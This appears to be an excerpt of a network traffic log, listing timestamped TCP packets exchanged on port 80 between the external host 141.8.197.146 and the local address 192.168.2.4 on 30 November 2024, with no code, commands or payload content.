Nov 30, 2024 05:00:19.621206999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.622129917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.622196913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.622230053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.622271061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.622983932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.623089075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.623141050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.623956919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.624053955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.624888897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.624939919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.624982119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.625024080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.625847101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.625950098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.626800060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.626863956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.626898050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.626950979 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.627756119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.627871990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.628688097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.628739119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.628784895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.628825903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.629666090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.629770994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.630091906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.630584955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.630702019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.631555080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.631618977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.631655931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.631695986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.632524967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.632607937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.633435965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.633495092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.633583069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.633622885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.634388924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.634557009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.634618044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.635349989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.635458946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.635503054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.636322975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.636440992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.636745930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.637238026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.637351036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.637394905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.638163090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.638282061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.638323069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.639118910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.639226913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.639272928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.640074968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.640191078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.641043901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.641099930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.641141891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.641182899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.641994953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.642096043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.642143965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.642913103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.643024921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.643881083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.643934011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.643973112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.644018888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.644820929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.644927979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.645803928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.645854950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.646004915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.646718979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.646761894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.646783113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.646800995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.647679090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.647770882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.648608923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.648663044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.648704052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.648745060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.649552107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.649673939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.650038958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.650526047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.650626898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.651448011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.651510954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.699464083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.699522972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.699579954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.699887037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.699996948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.700635910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.700707912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.700721025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.700784922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.701606989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.701670885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.701945066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.702541113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.702651978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.702692032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.703447104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.703577995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.703619957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.704415083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.704560041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.704601049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.809547901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.809730053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.809789896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.809978962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.810081959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.810127974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.810961008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.811017036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.811922073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.811969042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.811980963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.812024117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.812839985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.812906981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.813863993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.813908100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.813970089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.814009905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.814793110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.814862967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.815730095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.815779924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.815819025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.815857887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.816674948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.816746950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.817625046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.817677975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.817679882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.817720890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.818516016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.818584919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.818634033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.819453001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.819546938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.820408106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.820456982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.820529938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.820568085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.821398973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.821410894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.821453094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.822303057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.822314024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.822357893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.823288918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.823299885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.823369026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.824168921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.824239969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.825134039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.825182915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.825242043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.825285912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.826122046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.826241970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.826291084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.827022076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.827194929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.827976942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.828031063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.828098059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.828138113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.828933954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.829046965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.829866886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.829916000 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.829973936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.830017090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.830812931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.830918074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.831782103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.831832886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.831896067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.831942081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.832705021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.832825899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.833679914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.833730936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.833766937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.833811998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.834638119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.834753990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.834806919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.835587978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.835712910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.836522102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.836606026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.836635113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.836675882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.837472916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.837585926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.838325977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.838398933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.838532925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.839431047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.839483023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.839559078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.839657068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.840311050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.840451956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.841269016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.841306925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.841382980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.841418982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.842214108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.842314959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.842361927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.843169928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.843286037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.844119072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.844173908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.844243050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.844326973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.845069885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.845122099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.846013069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.846025944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.846108913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.846956015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.846995115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.847064018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.847103119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.847909927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.848025084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.848851919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.848890066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.848959923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.848997116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.849813938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.849939108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.850748062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.850802898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.850857973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.850895882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.851695061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.851807117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.852339983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.852632999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.874288082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.900957108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.901040077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.901076078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.901397943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.901521921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.901566982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.902345896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.902461052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.902508974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.903290033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.903331995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.903359890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.904247999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.904369116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.904424906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.905189991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.905241013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.905313015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.906167984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.906222105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.906285048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.937725067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.010720968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.010847092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.010922909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.011163950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.011426926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.011444092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.011490107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.012362003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.012409925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.012439013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.013313055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.013328075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.013365984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.014254093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.014270067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.014312029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.015201092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.015216112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.015244961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.016109943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.016159058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.016248941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.017064095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.017165899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.017242908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.018004894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.018049002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.018064022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.018986940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.019001961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.019046068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.019727945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.019773960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.019803047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.020679951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.020718098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.020744085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.021617889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.021673918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.021691084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.022608042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.022624016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.022674084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.023519039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.023535013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.023581028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.024456024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.024472952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.024504900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.025376081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.025424957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.025475979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.026350021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.026439905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.026489973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.027277946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.027331114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.027368069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.031158924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.031204939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.031299114 CET	80	49732	141.8.197.146	192.168.2.4
